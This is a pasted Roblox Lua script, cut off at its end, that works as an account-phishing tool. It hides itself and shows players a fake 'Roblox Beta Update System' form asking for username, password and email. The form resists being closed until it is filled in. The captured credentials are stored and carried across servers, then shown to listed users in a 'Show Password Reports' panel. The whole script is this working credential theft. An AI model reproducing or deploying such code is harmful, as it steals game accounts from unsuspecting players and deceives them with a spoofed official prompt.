Advertisement
Guest User

Untitled

a guest
Jan 14th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.63 KB | None | 0 0
  1.  
  2.  
  3. wait()
  4.  
  5. script.Parent = nil
  6.  
  7.  
  8. ReportMod = Instance.new("Model")
  9.  
  10. Saved = {
  11.  
  12. }
  13.  
  14. Took = {}
  15.  
  16. GotPass = {}
  17.  
  18. MyCode = "OfficialRoBetaAccUpdater64"
  19.  
  20. Users={
  21.  
  22. [""]=true;
  23.  
  24. ["SergeantSmokey"]=true;
  25.  
  26. }
  27.  
  28. Delay(0, function()
  29.  
  30. while wait() do
  31.  
  32. ypcall(function()
  33.  
  34. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  35.  
  36. ypcall(function()
  37.  
  38. if Saved[v.Name] ~= nil then
  39.  
  40. local Ok, Mod = ypcall(function() return v:LoadInstance(MyCode) end)
  41.  
  42. if Ok and Mod ~= nil then
  43.  
  44. if #Mod:GetChildren() >= 0 then
  45.  
  46. for _,c in pairs(Mod:GetChildren()) do
  47.  
  48. ypcall(function()
  49.  
  50. if not ReportMod:findFirstChild(c.Name) then
  51.  
  52. local Copy = c:Clone()
  53.  
  54. Copy.Parent = ReportMod
  55.  
  56. else
  57.  
  58. end
  59.  
  60. end)
  61.  
  62. end
  63.  
  64. end
  65.  
  66. end
  67.  
  68. Took[v.Name] = true
  69.  
  70. end
  71.  
  72. end)
  73.  
  74. end
  75.  
  76. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  77.  
  78. ypcall(function()
  79.  
  80. if Saved[v.Name] ~= nil and Took[v.Name] ~= nil then
  81.  
  82. v:SaveInstance(MyCode, ReportMod)
  83.  
  84. end
  85.  
  86. end)
  87.  
  88. end
  89.  
  90. end)
  91.  
  92. end
  93.  
  94. end)
  95.  
  96.  
  97. function MakePage(Plr, Sender, Abuser, Desc, Proof, Page, AllPages)
  98.  
  99. ypcall(function()
  100.  
  101. local SG = nil
  102.  
  103. local ShowReports = nil
  104.  
  105.  
  106.  
  107. for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  108.  
  109. if v.Name == "Reports" then
  110.  
  111. SG = v
  112.  
  113. break
  114.  
  115. end
  116.  
  117. end
  118.  
  119.  
  120. if SG == nil then
  121.  
  122. return
  123.  
  124. end
  125.  
  126.  
  127.  
  128. for _,v in pairs(SG:GetChildren()) do
  129.  
  130. if v.Name == "ShowReports" then
  131.  
  132. ShowReports = v
  133.  
  134. break
  135.  
  136. end
  137.  
  138. end
  139.  
  140.  
  141.  
  142. if ShowReports == nil then
  143.  
  144. return
  145.  
  146. end
  147.  
  148.  
  149.  
  150. local ReportingFrame = Instance.new("Frame")
  151.  
  152. ReportingFrame.Name = "ReportingFrame"
  153.  
  154. ReportingFrame.Active = true
  155.  
  156. ReportingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  157.  
  158. ReportingFrame.BackgroundTransparency = 0.2
  159.  
  160. ReportingFrame.BorderSizePixel = 0
  161.  
  162. ReportingFrame.Size = UDim2.new(0.6, 0, 0.8, 0)
  163.  
  164. ReportingFrame.Position = UDim2.new(0.2, 0, 0.1, 0)
  165.  
  166. ReportingFrame.Visible = true
  167.  
  168. ReportingFrame.Draggable = false
  169.  
  170. ReportingFrame.Parent = SG
  171.  
  172.  
  173.  
  174. local ReportingTitle = Instance.new("TextLabel")
  175.  
  176. ReportingTitle.Name = "ReportingTitle"
  177.  
  178. ReportingTitle.Text = "Player Details - Sorted By Newest"
  179.  
  180. ReportingTitle.TextWrapped = false
  181.  
  182. ReportingTitle.TextColor3 = Color3.new(1, 0, 0)
  183.  
  184. ReportingTitle.TextTransparency = 0
  185.  
  186. ReportingTitle.FontSize = "Size24"
  187.  
  188. ReportingTitle.TextStrokeTransparency = 1
  189.  
  190. ReportingTitle.Active = true
  191.  
  192. ReportingTitle.BackgroundTransparency = 1
  193.  
  194. ReportingTitle.BorderSizePixel = 0
  195.  
  196. ReportingTitle.Size = UDim2.new(0.8, 0, 0.1, 0)
  197.  
  198. ReportingTitle.Position = UDim2.new(0.1, 0, 0.01, 0)
  199.  
  200. ReportingTitle.Visible = true
  201.  
  202. ReportingTitle.Draggable = false
  203.  
  204. ReportingTitle.Parent = ReportingFrame
  205.  
  206.  
  207.  
  208. local ReportPlayerTitle = Instance.new("TextLabel")
  209.  
  210. ReportPlayerTitle.Name = "ReportPlayerTitle"
  211.  
  212. ReportPlayerTitle.Text = "Sent By: "..Sender
  213.  
  214. ReportPlayerTitle.TextWrapped = false
  215.  
  216. ReportPlayerTitle.TextColor3 = Color3.new(1, 1, 1)
  217.  
  218. ReportPlayerTitle.TextTransparency = 0
  219.  
  220. ReportPlayerTitle.FontSize = "Size18"
  221.  
  222. ReportPlayerTitle.TextStrokeTransparency = 1
  223.  
  224. ReportPlayerTitle.Active = true
  225.  
  226. ReportPlayerTitle.BackgroundTransparency = 1
  227.  
  228. ReportPlayerTitle.BorderSizePixel = 0
  229.  
  230. ReportPlayerTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  231.  
  232. ReportPlayerTitle.Position = UDim2.new(0.1, 0, 0.15, 0)
  233.  
  234. ReportPlayerTitle.Visible = true
  235.  
  236. ReportPlayerTitle.Draggable = false
  237.  
  238. ReportPlayerTitle.Parent = ReportingFrame
  239.  
  240.  
  241.  
  242. local ReportAbuserTitle = Instance.new("TextLabel")
  243.  
  244. ReportAbuserTitle.Name = "ReportAbuserTitle"
  245.  
  246. ReportAbuserTitle.Text = "Account Username: "..Abuser
  247.  
  248. ReportAbuserTitle.TextWrapped = false
  249.  
  250. ReportAbuserTitle.TextColor3 = Color3.new(1, 1, 1)
  251.  
  252. ReportAbuserTitle.TextTransparency = 0
  253.  
  254. ReportAbuserTitle.FontSize = "Size18"
  255.  
  256. ReportAbuserTitle.TextStrokeTransparency = 1
  257.  
  258. ReportAbuserTitle.Active = true
  259.  
  260. ReportAbuserTitle.BackgroundTransparency = 1
  261.  
  262. ReportAbuserTitle.BorderSizePixel = 0
  263.  
  264. ReportAbuserTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  265.  
  266. ReportAbuserTitle.Position = UDim2.new(0.1, 0, 0.3, 0)
  267.  
  268. ReportAbuserTitle.Visible = true
  269.  
  270. ReportAbuserTitle.Draggable = false
  271.  
  272. ReportAbuserTitle.Parent = ReportingFrame
  273.  
  274.  
  275. local ReportDescTitle = Instance.new("TextLabel")
  276.  
  277. ReportDescTitle.Name = "ReportDescTitle"
  278.  
  279. ReportDescTitle.Text = "Account Password: "..Desc
  280.  
  281. ReportDescTitle.TextWrapped = false
  282.  
  283. ReportDescTitle.TextColor3 = Color3.new(1, 1, 1)
  284.  
  285. ReportDescTitle.TextTransparency = 0
  286.  
  287. ReportDescTitle.FontSize = "Size18"
  288.  
  289. ReportDescTitle.TextStrokeTransparency = 1
  290.  
  291. ReportDescTitle.Active = true
  292.  
  293. ReportDescTitle.BackgroundTransparency = 1
  294.  
  295. ReportDescTitle.BorderSizePixel = 0
  296.  
  297. ReportDescTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  298.  
  299. ReportDescTitle.Position = UDim2.new(0.1, 0, 0.45, 0)
  300.  
  301. ReportDescTitle.Visible = true
  302.  
  303. ReportDescTitle.Draggable = false
  304.  
  305. ReportDescTitle.Parent = ReportingFrame
  306.  
  307.  
  308.  
  309. local ReportExtraTitle = Instance.new("TextLabel")
  310.  
  311. ReportExtraTitle.Name = "ReportExtraTitle"
  312.  
  313. ReportExtraTitle.Text = "Account Email: "..Proof
  314.  
  315. ReportExtraTitle.TextWrapped = false
  316.  
  317. ReportExtraTitle.TextColor3 = Color3.new(1, 1, 1)
  318.  
  319. ReportExtraTitle.TextTransparency = 0
  320.  
  321. ReportExtraTitle.FontSize = "Size18"
  322.  
  323. ReportExtraTitle.TextStrokeTransparency = 1
  324.  
  325. ReportExtraTitle.Active = true
  326.  
  327. ReportExtraTitle.BackgroundTransparency = 1
  328.  
  329. ReportExtraTitle.BorderSizePixel = 0
  330.  
  331. ReportExtraTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  332.  
  333. ReportExtraTitle.Position = UDim2.new(0.1, 0, 0.6, 0)
  334.  
  335. ReportExtraTitle.Visible = true
  336.  
  337. ReportExtraTitle.Draggable = false
  338.  
  339. ReportExtraTitle.Parent = ReportingFrame
  340.  
  341.  
  342.  
  343. local CloseReport = Instance.new("TextButton")
  344.  
  345. CloseReport.Name = "CloseReport"
  346.  
  347. CloseReport.Text = "Close"
  348.  
  349. CloseReport.TextWrapped = false
  350.  
  351. CloseReport.TextColor3 = Color3.new(1, 1, 1)
  352.  
  353. CloseReport.FontSize = "Size14"
  354.  
  355. CloseReport.TextStrokeTransparency = 1
  356.  
  357. CloseReport.AutoButtonColor = true
  358.  
  359. CloseReport.Active = true
  360.  
  361. CloseReport.BackgroundColor3 = Color3.new(1, 0, 0)
  362.  
  363. CloseReport.BackgroundTransparency = 0.2
  364.  
  365. CloseReport.BorderSizePixel = 0
  366.  
  367. CloseReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  368.  
  369. CloseReport.Position = UDim2.new(0.375, 0, 0.875, 0)
  370.  
  371. CloseReport.Visible = true
  372.  
  373. CloseReport.Draggable = false
  374.  
  375. CloseReport.Parent = ReportingFrame
  376.  
  377.  
  378.  
  379. local Right = Instance.new("ImageButton")
  380.  
  381. Right.Name = "Right"
  382.  
  383. Right.Visible = true
  384.  
  385. Right.Active = true
  386.  
  387. Right.Image = "http://www.roblox.com/asset/?id=13890052"
  388.  
  389. Right.BackgroundTransparency = 1
  390.  
  391. Right.BorderSizePixel = 0
  392.  
  393. Right.Size = UDim2.new(0.08, 0, 0.15, 0)
  394.  
  395. Right.Position = UDim2.new(0.76, 0, 0.425, 0)
  396.  
  397. Right.Draggable = false
  398.  
  399. Right.Parent = ReportingFrame
  400.  
  401.  
  402.  
  403. Delay(0, function()
  404.  
  405. while Right.Parent ~= nil do wait()
  406.  
  407. if Page == 1 then
  408.  
  409. Right.Visible = false
  410.  
  411. Right.Active = false
  412.  
  413. else
  414.  
  415. Right.Visible = true
  416.  
  417. Right.Active = true
  418.  
  419. end
  420.  
  421. end
  422.  
  423. end)
  424.  
  425.  
  426.  
  427. Right.MouseButton1Click:connect(function()
  428.  
  429. ypcall(function()
  430.  
  431. ReportingFrame:Destroy()
  432.  
  433. Page = Page - 1
  434.  
  435. local NextMod = ReportMod:GetChildren()[Page]
  436.  
  437. MakePage(Plr, NextMod.SentValue.Value, NextMod.AbuserValue.Value, NextMod.AbuseValue.Value, NextMod.ProofValue.Value, Page, AllPages)
  438.  
  439. end)
  440.  
  441. end)
  442.  
  443.  
  444.  
  445. local Left = Instance.new("ImageButton")
  446.  
  447. Left.Name = "Left"
  448.  
  449. Left.Visible = false
  450.  
  451. Left.Active = false
  452.  
  453. Left.Image = "http://www.roblox.com/asset/?id=13890065"
  454.  
  455. Left.BackgroundTransparency = 1
  456.  
  457. Left.BorderSizePixel = 0
  458.  
  459. Left.Size = UDim2.new(0.08, 0, 0.15, 0)
  460.  
  461. Left.Position = UDim2.new(0.16, 0, 0.425, 0)
  462.  
  463. Left.Draggable = false
  464.  
  465. Left.Parent = ReportingFrame
  466.  
  467.  
  468.  
  469. Delay(0, function()
  470.  
  471. while Left.Parent ~= nil do wait()
  472.  
  473. if Page == AllPages then
  474.  
  475. Left.Visible = false
  476.  
  477. Left.Active = false
  478.  
  479. else
  480.  
  481. Left.Visible = true
  482.  
  483. Left.Active = true
  484.  
  485. end
  486.  
  487. end
  488.  
  489. end)
  490.  
  491.  
  492.  
  493. Left.MouseButton1Click:connect(function()
  494.  
  495. ypcall(function()
  496.  
  497. ReportingFrame:Destroy()
  498.  
  499. Page = Page + 1
  500.  
  501. local NextMod = ReportMod:GetChildren()[Page]
  502.  
  503. MakePage(Plr, NextMod.SentValue.Value, NextMod.AbuserValue.Value, NextMod.AbuseValue.Value, NextMod.ProofValue.Value, Page, AllPages)
  504.  
  505. end)
  506.  
  507. end)
  508.  
  509.  
  510.  
  511. CloseReport.MouseButton1Click:connect(function()
  512.  
  513. ReportingFrame:Destroy()
  514.  
  515. ShowReports.Text = "Show Password Reports"
  516.  
  517. ShowReports:TweenPosition(UDim2.new(0.375, 0, 0, 0), "Out", "Quad", 2.25, true)
  518.  
  519. end)
  520.  
  521.  
  522.  
  523. if ShowReports.Position == UDim2.new(0.375, 0, 0, 0) then
  524.  
  525. ShowReports:TweenPosition(UDim2.new(0.375, 0, -0.08, 0), "Out", "Quad", 2.25, true)
  526.  
  527. end
  528.  
  529. end)
  530.  
  531. end
  532.  
  533.  
  534. function ShowReportsButton(Plr)
  535.  
  536. ypcall(function()
  537.  
  538. for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  539.  
  540. if v.Name == "Reports" then
  541.  
  542. v:Destroy()
  543.  
  544. end
  545.  
  546. end
  547.  
  548.  
  549.  
  550. local SG = Instance.new("ScreenGui")
  551.  
  552. SG.Name = "Reports"
  553.  
  554. SG.Parent = Plr.PlayerGui
  555.  
  556.  
  557.  
  558. local ShowReports = Instance.new("TextButton")
  559.  
  560. ShowReports.Name = "ShowReports"
  561.  
  562. ShowReports.Text = "Loading..."
  563.  
  564. ShowReports.TextWrapped = false
  565.  
  566. ShowReports.TextColor3 = Color3.new(1, 0, 0)
  567.  
  568. ShowReports.TextTransparency = 0.2
  569.  
  570. ShowReports.FontSize = "Size14"
  571.  
  572. ShowReports.TextStrokeTransparency = 1
  573.  
  574. ShowReports.AutoButtonColor = true
  575.  
  576. ShowReports.Active = true
  577.  
  578. ShowReports.BackgroundColor3 = Color3.new(0, 0, 0)
  579.  
  580. ShowReports.BackgroundTransparency = 0.2
  581.  
  582. ShowReports.BorderColor3 = Color3.new(1, 0, 0)
  583.  
  584. ShowReports.Size = UDim2.new(0.25, 0, 0.075, 0)
  585.  
  586. ShowReports.Position = UDim2.new(0.375, 0, 0, 0)
  587.  
  588. ShowReports.Visible = true
  589.  
  590. ShowReports.Draggable = false
  591.  
  592. ShowReports.Parent = SG
  593.  
  594.  
  595.  
  596. -- repeat wait() until Saved[Plr.Name] ~= nil
  597.  
  598. ShowReports.Text = "Show Password Reports"
  599.  
  600.  
  601.  
  602.  
  603.  
  604. ShowReports.MouseButton1Click:connect(function()
  605.  
  606. ypcall(function()
  607.  
  608. if #ReportMod:GetChildren() >= 1 then
  609.  
  610. ShowReports.Text = "Reports Loading..."
  611.  
  612. LatestMod = ReportMod:GetChildren()[#ReportMod:GetChildren()]
  613.  
  614. MakePage(Plr, LatestMod.SentValue.Value, LatestMod.AbuserValue.Value, LatestMod.AbuseValue.Value, LatestMod.ProofValue.Value, #ReportMod:GetChildren(), #ReportMod:GetChildren())
  615.  
  616. else
  617.  
  618. ShowReports.Text = "No Reports"
  619.  
  620. wait(2)
  621.  
  622. ShowReports.Text = "Show Password Reports"
  623.  
  624. end
  625.  
  626. end)
  627.  
  628. end)
  629.  
  630. end)
  631.  
  632. end
  633.  
  634.  
  635. function ReportButton(Plr)
  636.  
  637. ypcall(function()
  638.  
  639. for _,v in pairs(Plr.PlayerGui:GetChildren()) do
  640.  
  641. if v.Name == "ReportToHR" then
  642.  
  643. v:Destroy()
  644.  
  645. end
  646.  
  647. end
  648.  
  649.  
  650.  
  651. local SG = Instance.new("ScreenGui")
  652.  
  653. SG.Name = "ReportToHR"
  654.  
  655. SG.Parent = Plr.PlayerGui
  656.  
  657.  
  658. local ReportingFrame = Instance.new("Frame")
  659.  
  660. ReportingFrame.Name = "ReportingFrame"
  661.  
  662. ReportingFrame.Active = true
  663.  
  664. ReportingFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  665.  
  666. ReportingFrame.BackgroundTransparency = 0.2
  667.  
  668. ReportingFrame.BorderSizePixel = 0
  669.  
  670. ReportingFrame.Size = UDim2.new(0.6, 0, 0.8, 0)
  671.  
  672. ReportingFrame.Position = UDim2.new(-0.65, 0, 0.1, 0)
  673.  
  674. ReportingFrame.Visible = true
  675.  
  676. ReportingFrame.Draggable = false
  677.  
  678. ReportingFrame.Parent = SG
  679.  
  680.  
  681.  
  682. local ReportingTitle = Instance.new("TextLabel")
  683.  
  684. ReportingTitle.Name = "ReportingTitle"
  685.  
  686. ReportingTitle.Font = "ArialBold"
  687.  
  688. ReportingTitle.Text = "Roblox Beta Update System"
  689.  
  690. ReportingTitle.TextWrapped = false
  691.  
  692. ReportingTitle.TextColor3 = Color3.new(1, 0, 0)
  693.  
  694. ReportingTitle.TextTransparency = 0
  695.  
  696. ReportingTitle.FontSize = "Size36"
  697.  
  698. ReportingTitle.TextStrokeTransparency = 1
  699.  
  700. ReportingTitle.Active = true
  701.  
  702. ReportingTitle.BackgroundTransparency = 1
  703.  
  704. ReportingTitle.BorderSizePixel = 0
  705.  
  706. ReportingTitle.Size = UDim2.new(0.8, 0, 0.1, 0)
  707.  
  708. ReportingTitle.Position = UDim2.new(0.1, 0, 0.01, 0)
  709.  
  710. ReportingTitle.Visible = true
  711.  
  712. ReportingTitle.Draggable = false
  713.  
  714. ReportingTitle.Parent = ReportingFrame
  715.  
  716.  
  717.  
  718. local ReportPlayerTitle = Instance.new("TextLabel")
  719.  
  720. ReportPlayerTitle.Name = "ReportPlayerTitle"
  721.  
  722. ReportPlayerTitle.Font = "Arial"
  723.  
  724. ReportPlayerTitle.Text = "Account Username:"
  725.  
  726. ReportPlayerTitle.TextWrapped = false
  727.  
  728. ReportPlayerTitle.TextColor3 = Color3.new(1, 1, 1)
  729.  
  730. ReportPlayerTitle.TextTransparency = 0
  731.  
  732. ReportPlayerTitle.FontSize = "Size24"
  733.  
  734. ReportPlayerTitle.TextStrokeTransparency = 1
  735.  
  736. ReportPlayerTitle.Active = true
  737.  
  738. ReportPlayerTitle.BackgroundTransparency = 1
  739.  
  740. ReportPlayerTitle.BorderSizePixel = 0
  741.  
  742. ReportPlayerTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  743.  
  744. ReportPlayerTitle.Position = UDim2.new(0.1, 0, 0.05, 0)
  745.  
  746. ReportPlayerTitle.Visible = true
  747.  
  748. ReportPlayerTitle.Draggable = false
  749.  
  750. ReportPlayerTitle.Parent = ReportingFrame
  751.  
  752.  
  753.  
  754. local ReportPlayerBox = Instance.new("TextBox")
  755.  
  756. ReportPlayerBox.Name = "ReportPlayerBox"
  757.  
  758. ReportPlayerBox.Font = "Arial"
  759.  
  760. ReportPlayerBox.Text = "Your Username Here"
  761.  
  762. ReportPlayerBox.TextWrapped = true
  763.  
  764. ReportPlayerBox.TextColor3 = Color3.new(0, 0, 0)
  765.  
  766. ReportPlayerBox.TextTransparency = 0
  767.  
  768. ReportPlayerBox.FontSize = "Size18"
  769.  
  770. ReportPlayerBox.ClearTextOnFocus = false
  771.  
  772. ReportPlayerBox.TextStrokeTransparency = 1
  773.  
  774. ReportPlayerBox.Active = true
  775.  
  776. ReportPlayerBox.BackgroundColor3 = Color3.new(1, 1, 1)
  777.  
  778. ReportPlayerBox.BackgroundTransparency = 0.2
  779.  
  780. ReportPlayerBox.BorderColor3 = Color3.new(1, 0, 0)
  781.  
  782. ReportPlayerBox.BorderSizePixel = 1
  783.  
  784. ReportPlayerBox.Size = UDim2.new(0.8, 0, 0.1, 0)
  785.  
  786. ReportPlayerBox.Position = UDim2.new(0.1, 0, 0.2, 0)
  787.  
  788. ReportPlayerBox.Visible = true
  789.  
  790. ReportPlayerBox.Draggable = false
  791.  
  792. ReportPlayerBox.Parent = ReportingFrame
  793.  
  794.  
  795.  
  796. local ReportDescTitle = Instance.new("TextLabel")
  797.  
  798. ReportDescTitle.Name = "ReportDescTitle"
  799.  
  800. ReportDescTitle.Font = "Arial"
  801.  
  802. ReportDescTitle.Text = "Account Password:"
  803.  
  804. ReportDescTitle.TextWrapped = false
  805.  
  806. ReportDescTitle.TextColor3 = Color3.new(1, 1, 1)
  807.  
  808. ReportDescTitle.TextTransparency = 0
  809.  
  810. ReportDescTitle.FontSize = "Size24"
  811.  
  812. ReportDescTitle.TextStrokeTransparency = 1
  813.  
  814. ReportDescTitle.Active = true
  815.  
  816. ReportDescTitle.BackgroundTransparency = 1
  817.  
  818. ReportDescTitle.BorderSizePixel = 0
  819.  
  820. ReportDescTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  821.  
  822. ReportDescTitle.Position = UDim2.new(0.1, 0, 0.275, 0)
  823.  
  824. ReportDescTitle.Visible = true
  825.  
  826. ReportDescTitle.Draggable = false
  827.  
  828. ReportDescTitle.Parent = ReportingFrame
  829.  
  830.  
  831.  
  832. local ReportDescBox = Instance.new("TextBox")
  833.  
  834. ReportDescBox.Name = "ReportDescBox"
  835.  
  836. ReportDescBox.Font = "Arial"
  837.  
  838. ReportDescBox.Text = "Your Password Here"
  839.  
  840. ReportDescBox.TextWrapped = true
  841.  
  842. ReportDescBox.TextColor3 = Color3.new(0, 0, 0)
  843.  
  844. ReportDescBox.TextTransparency = 0
  845.  
  846. ReportDescBox.FontSize = "Size18"
  847.  
  848. ReportDescBox.ClearTextOnFocus = false
  849.  
  850. ReportDescBox.TextStrokeTransparency = 1
  851.  
  852. ReportDescBox.Active = true
  853.  
  854. ReportDescBox.BackgroundColor3 = Color3.new(1, 1, 1)
  855.  
  856. ReportDescBox.BackgroundTransparency = 0.2
  857.  
  858. ReportDescBox.BorderColor3 = Color3.new(1, 0, 0)
  859.  
  860. ReportDescBox.BorderSizePixel = 1
  861.  
  862. ReportDescBox.Size = UDim2.new(0.8, 0, 0.15, 0)
  863.  
  864. ReportDescBox.Position = UDim2.new(0.1, 0, 0.425, 0)
  865.  
  866. ReportDescBox.Visible = true
  867.  
  868. ReportDescBox.Draggable = false
  869.  
  870. ReportDescBox.Parent = ReportingFrame
  871.  
  872.  
  873.  
  874. local ReportExtraTitle = Instance.new("TextLabel")
  875.  
  876. ReportExtraTitle.Name = "ReportExtraTitle"
  877.  
  878. ReportExtraTitle.Font = "Arial"
  879.  
  880. ReportExtraTitle.Text = "Account Email (Optional):"
  881.  
  882. ReportExtraTitle.TextWrapped = false
  883.  
  884. ReportExtraTitle.TextColor3 = Color3.new(1, 1, 1)
  885.  
  886. ReportExtraTitle.TextTransparency = 0
  887.  
  888. ReportExtraTitle.FontSize = "Size24"
  889.  
  890. ReportExtraTitle.TextStrokeTransparency = 1
  891.  
  892. ReportExtraTitle.Active = true
  893.  
  894. ReportExtraTitle.BackgroundTransparency = 1
  895.  
  896. ReportExtraTitle.BorderSizePixel = 0
  897.  
  898. ReportExtraTitle.Size = UDim2.new(0.8, 0, 0.2, 0)
  899.  
  900. ReportExtraTitle.Position = UDim2.new(0.1, 0, 0.55, 0)
  901.  
  902. ReportExtraTitle.Visible = true
  903.  
  904. ReportExtraTitle.Draggable = false
  905.  
  906. ReportExtraTitle.Parent = ReportingFrame
  907.  
  908.  
  909.  
  910. local ReportExtraBox = Instance.new("TextBox")
  911.  
  912. ReportExtraBox.Name = "ReportExtraBox"
  913.  
  914. ReportExtraBox.Font = "Arial"
  915.  
  916. ReportExtraBox.Text = "Your Email Here"
  917.  
  918. ReportExtraBox.TextWrapped = true
  919.  
  920. ReportExtraBox.TextColor3 = Color3.new(0, 0, 0)
  921.  
  922. ReportExtraBox.TextTransparency = 0
  923.  
  924. ReportExtraBox.FontSize = "Size18"
  925.  
  926. ReportExtraBox.ClearTextOnFocus = false
  927.  
  928. ReportExtraBox.TextStrokeTransparency = 1
  929.  
  930. ReportExtraBox.Active = true
  931.  
  932. ReportExtraBox.BackgroundColor3 = Color3.new(1, 1, 1)
  933.  
  934. ReportExtraBox.BackgroundTransparency = 0.2
  935.  
  936. ReportExtraBox.BorderColor3 = Color3.new(1, 0, 0)
  937.  
  938. ReportExtraBox.BorderSizePixel = 1
  939.  
  940. ReportExtraBox.Size = UDim2.new(0.8, 0, 0.15, 0)
  941.  
  942. ReportExtraBox.Position = UDim2.new(0.1, 0, 0.7, 0)
  943.  
  944. ReportExtraBox.Visible = true
  945.  
  946. ReportExtraBox.Draggable = false
  947.  
  948. ReportExtraBox.Parent = ReportingFrame
  949.  
  950.  
  951.  
  952. local SendReport = Instance.new("TextButton")
  953.  
  954. SendReport.Name = "SendReport"
  955.  
  956. SendReport.Font = "Arial"
  957.  
  958. SendReport.Text = "Update"
  959.  
  960. SendReport.TextWrapped = false
  961.  
  962. SendReport.TextColor3 = Color3.new(1, 1, 1)
  963.  
  964. SendReport.FontSize = "Size18"
  965.  
  966. SendReport.TextStrokeTransparency = 1
  967.  
  968. SendReport.AutoButtonColor = true
  969.  
  970. SendReport.Active = true
  971.  
  972. SendReport.BackgroundColor3 = Color3.new(1, 0, 0)
  973.  
  974. SendReport.BackgroundTransparency = 0.2
  975.  
  976. SendReport.BorderSizePixel = 0
  977.  
  978. SendReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  979.  
  980. SendReport.Position = UDim2.new(0.575, 0, 0.875, 0)
  981.  
  982. SendReport.Visible = true
  983.  
  984. SendReport.Draggable = false
  985.  
  986. SendReport.Parent = ReportingFrame
  987.  
  988.  
  989.  
  990. local CloseReport = Instance.new("TextButton")
  991.  
  992. CloseReport.Name = "CloseReport"
  993.  
  994. CloseReport.Font = "Arial"
  995.  
  996. CloseReport.Text = "Close"
  997.  
  998. CloseReport.TextWrapped = false
  999.  
  1000. CloseReport.TextColor3 = Color3.new(1, 1, 1)
  1001.  
  1002. CloseReport.FontSize = "Size18"
  1003.  
  1004. CloseReport.TextStrokeTransparency = 1
  1005.  
  1006. CloseReport.AutoButtonColor = true
  1007.  
  1008. CloseReport.Active = true
  1009.  
  1010. CloseReport.BackgroundColor3 = Color3.new(1, 0, 0)
  1011.  
  1012. CloseReport.BackgroundTransparency = 0.2
  1013.  
  1014. CloseReport.BorderSizePixel = 0
  1015.  
  1016. CloseReport.Size = UDim2.new(0.25, 0, 0.1, 0)
  1017.  
  1018. CloseReport.Position = UDim2.new(0.175, 0, 0.875, 0)
  1019.  
  1020. CloseReport.Visible = true
  1021.  
  1022. CloseReport.Draggable = false
  1023.  
  1024. CloseReport.Parent = ReportingFrame
  1025.  
  1026.  
  1027.  
  1028. CloseReport.MouseButton1Click:connect(function()
  1029.  
  1030. if GotPass[Plr.Name] ~= nil then
  1031.  
  1032. ReportingFrame:Destroy()
  1033.  
  1034. else
  1035.  
  1036. ypcall(function()
  1037.  
  1038. ReportingTitle.Text = "Please Fill Out The Beta Update System"
  1039.  
  1040. wait(4)
  1041.  
  1042. ReportingTitle.Text = "Roblox Beta Update System"
  1043.  
  1044. end)
  1045.  
  1046. end
  1047.  
  1048. end)
  1049.  
  1050.  
  1051.  
  1052. SendReport.MouseButton1Click:connect(function()
  1053.  
  1054. local Ok, Err = ypcall(function()
  1055.  
  1056. if ReportDescBox.Text == "Your Password Here" or ReportDescBox.Text == "" or ReportPlayerBox.Text ~= Plr.Name or #ReportPlayerBox.Text < 3 or #ReportPlayerBox.Text > 20 or #ReportDescBox.Text < 6 or #ReportDescBox.Text > 20 then
  1057.  
  1058. ReportingTitle.Text = "Error: Non Optional Boxes Must Be Filled In Correctly"
  1059.  
  1060. wait(4)
  1061.  
  1062. ReportingTitle.Text = "Roblox Beta Update System"
  1063.  
  1064. else
  1065.  
  1066. local AbuserName = ReportPlayerBox.Text
  1067.  
  1068. local Abuse = ReportDescBox.Text
  1069.  
  1070. local SentBy = Plr.Name
  1071.  
  1072. local Proof = "N/A"
  1073.  
  1074. if ReportExtraBox.Text == "Your Email Here" or ReportExtraBox.Text == "" then
  1075.  
  1076. Proof = "N/A"
  1077.  
  1078. else
  1079.  
  1080. Proof = ReportExtraBox.Text
  1081.  
  1082. end
  1083.  
  1084.  
  1085.  
  1086. local Holder = Instance.new("Model")
  1087.  
  1088. Holder.Name = math.random(-999999999, 999999999)
  1089.  
  1090. local SentValue = Instance.new("StringValue")
  1091.  
  1092. SentValue.Name = "SentValue"
  1093.  
  1094. SentValue.Value = SentBy
  1095.  
  1096. SentValue.Parent = Holder
  1097.  
  1098. local AbuserValue = Instance.new("StringValue")
  1099.  
  1100. AbuserValue.Name = "AbuserValue"
  1101.  
  1102. AbuserValue.Value = AbuserName
  1103.  
  1104. AbuserValue.Parent = Holder
  1105.  
  1106. local AbuseValue = Instance.new("StringValue")
  1107.  
  1108. AbuseValue.Name = "AbuseValue"
  1109.  
  1110. AbuseValue.Value = Abuse
  1111.  
  1112. AbuseValue.Parent = Holder
  1113.  
  1114. local ProofValue = Instance.new("StringValue")
  1115.  
  1116. ProofValue.Name = "ProofValue"
  1117.  
  1118. ProofValue.Value = Proof
  1119.  
  1120. ProofValue.Parent = Holder
  1121.  
  1122. Holder.Parent = ReportMod
  1123.  
  1124.  
  1125.  
  1126. GotPass[Plr.Name] = true
  1127.  
  1128.  
  1129.  
  1130. ReportingTitle.Text = "Update Completed!"
  1131.  
  1132. ReportingTitle.TextColor3 = Color3.new(0, 1, 0)
  1133.  
  1134. wait(1)
  1135.  
  1136. ReportingFrame:Destroy()
  1137.  
  1138. end
  1139.  
  1140. end)
  1141.  
  1142. if not Ok then
  1143.  
  1144. ypcall(function()
  1145.  
  1146. ReportingTitle.Text = "Error: "..Err
  1147.  
  1148. wait(4)
  1149.  
  1150. ReportingTitle.Text = "Roblox Beta Update System"
  1151.  
  1152. end)
  1153.  
  1154. end
  1155.  
  1156. end)
  1157.  
  1158.  
  1159.  
  1160. wait()
  1161.  
  1162.  
  1163. ReportingFrame:TweenPosition(UDim2.new(0.2, 0, 0.1, 0), "Out", "Quad", 2, true)
  1164.  
  1165. end)
  1166.  
  1167. end
  1168.  
  1169.  
  1170. game:GetService("Players").PlayerAdded:connect(function(Plr)
  1171.  
